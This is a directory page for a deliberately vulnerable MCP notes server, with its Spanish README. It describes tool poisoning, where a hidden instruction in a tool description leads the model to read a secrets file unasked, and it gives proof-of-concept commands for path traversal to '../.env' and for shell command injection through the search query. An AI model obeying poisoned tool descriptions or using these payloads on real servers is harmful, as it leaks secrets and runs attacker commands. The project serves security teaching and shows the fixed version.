vulnerable-notes-mcp
Click on "Install Server".
Wait a few minutes for the server to deploy. Once ready, it will show a "Started" state.
In the chat, type
@followed by the MCP server name and your instructions, e.g., "@vulnerable-notes-mcpRead the note about the team reunion"
That's it! The server will respond to your query, and you can continue using it as needed.
Here is a step-by-step guide with screenshots.
vulnerable-notes-mcp
Servidor MCP deliberadamente vulnerable, para reproducir en vivo tres fallas de seguridad que aparecen en servers MCP reales:
Tool poisoning — instrucciones escondidas en la
descriptionde una tool, que el modelo lee y obedece sin que la persona las vea nunca.Command injection — input sin sanitizar concatenado en un
exec()de shell.Path traversal — un parámetro de ruta que se une al directorio permitido sin validar el resultado.
Acompaña el post Auditando un servidor MCP: las 3 fallas que nadie está mirando en rockysec.com. Ahí está la explicación completa de cada falla, con teoría y mitigación.
No usar como base de nada real. El código en src/vulnerable.ts existe únicamente para practicar la explotación en un entorno controlado.
Estructura
src/vulnerable.ts servidor con las 3 fallas
src/fixed.ts mismo servidor, corregido
agent-demo.mjs agente real (AI SDK + GPT-4o-mini) contra el server vulnerable
notes/ datos de ejemplo
.env.example secretos de prueba: es el archivo que filtra el path traversalRelated MCP server: Vulnerable MCP Server
Instalación
Requiere Node 20 o superior.
git clone https://github.com/rockysec/vulnerable-notes-mcp
cd vulnerable-notes-mcp
npm install
cp .env.example .envReproducir las fallas
Todos los comandos usan el MCP Inspector oficial en modo CLI, sin necesidad de un host de IA ni de una API key.
1. Ver la tool envenenada tal como la ve el modelo
npx @modelcontextprotocol/inspector --cli npx tsx src/vulnerable.ts --method tools/listLa description de search_notes sale completa, incluida la instrucción oculta. Ningún host de IA la recorta.
2. Uso legítimo, para tener un antes
npx @modelcontextprotocol/inspector --cli npx tsx src/vulnerable.ts \
--method tools/call --tool-name read_note --tool-arg path=reunion-equipo.txt3. Path traversal: leer .env a través de read_note
npx @modelcontextprotocol/inspector --cli npx tsx src/vulnerable.ts \
--method tools/call --tool-name read_note --tool-arg 'path=../.env'4. Command injection: ejecutar whoami a través de search_notes
npx @modelcontextprotocol/inspector --cli npx tsx src/vulnerable.ts \
--method tools/call --tool-name search_notes \
--tool-arg 'query=nada" ; echo INYECTADO: $(whoami) ; echo "'5. Un agente real, sin humano leyendo la tool
export OPENAI_API_KEY=sk-...
npm run agent-demoConecta un modelo real al server vulnerable con @ai-sdk/mcp y le pide que busque una nota. El script imprime cada tool_call que decide hacer el modelo: si obedece la instrucción oculta, va a aparecer una llamada a read_note con ../.env que nadie pidió en el prompt.
Confirmar las correcciones
Los mismos cuatro comandos, contra src/fixed.ts, deberían comportarse así:
# Sigue funcionando igual
npx @modelcontextprotocol/inspector --cli npx tsx src/fixed.ts \
--method tools/call --tool-name read_note --tool-arg path=reunion-equipo.txt
# Ahora bloqueado: isError true, "Ruta fuera de notes/"
npx @modelcontextprotocol/inspector --cli npx tsx src/fixed.ts \
--method tools/call --tool-name read_note --tool-arg 'path=../.env'
# Ahora inerte: "Sin resultados", sin ejecutar whoami
npx @modelcontextprotocol/inspector --cli npx tsx src/fixed.ts \
--method tools/call --tool-name search_notes \
--tool-arg 'query=nada" ; echo INYECTADO: $(whoami) ; echo "'Licencia
MIT.
Maintenance
Resources
Unclaimed servers have limited discoverability.
Looking for Admin?
If you are the server author, to access and configure the admin panel.
Tools
Related MCP Servers
- Flicense-qualityFmaintenanceAn educational project that deliberately implements vulnerable MCP servers to demonstrate various security risks like prompt injection, tool poisoning, and code execution for training security researchers and AI safety professionals.Last updated1,324
- Flicense-qualityDmaintenanceAn educational MCP server demonstrating common security vulnerabilities like command injection, path traversal, SQL injection, and XXE attacks. Designed for security training purposes only, not for production use.Last updated
- AlicenseAqualityFmaintenanceAn intentionally vulnerable MCP server for security training, enabling users to practice attacking and defending AI agents through realistic scenarios.Last updated2867MIT
- Flicense-qualityDmaintenanceA vulnerable MCP server designed for educational CTF challenges. It demonstrates various MCP security vulnerabilities in a controlled environment.Last updated8
Related MCP Connectors
Security scanner for MCP servers. Detect vulnerabilities, prompt injection, and tool poisoning.
Scan any public GitHub MCP-server repo for security issues. 37 MCP-specific L1 rules, 8 languages.
A MCP server built for developers enabling Git based project management with project and personal…
Latest Blog Posts
- Who's Calling? MCP Hosts Are an Identity Blind Spot (And the Spec Knows It)By Om-Shree-0709 on .mcpAgent IdentityOAuth 2.1
- Your AI Chatbot Just Exposed Your CEO's Salary to an InternBy Om-Shree-0709 on .Agent IdentityMCP SecurityOAuth Delegation
- Why MCP Servers Need Execution Sandboxing (And Why Your Current Stack Isn't Enough)By Om-Shree-0709 on .Agentic AiPrompt InjectionWebAssembly
MCP directory API
We provide all the information about MCP servers via our MCP API.
curl -X GET 'https://glama.ai/api/mcp/v1/servers/rockysec/vulnerable-notes-mcp'
If you have feedback or need assistance with the MCP directory API, please join our Discord server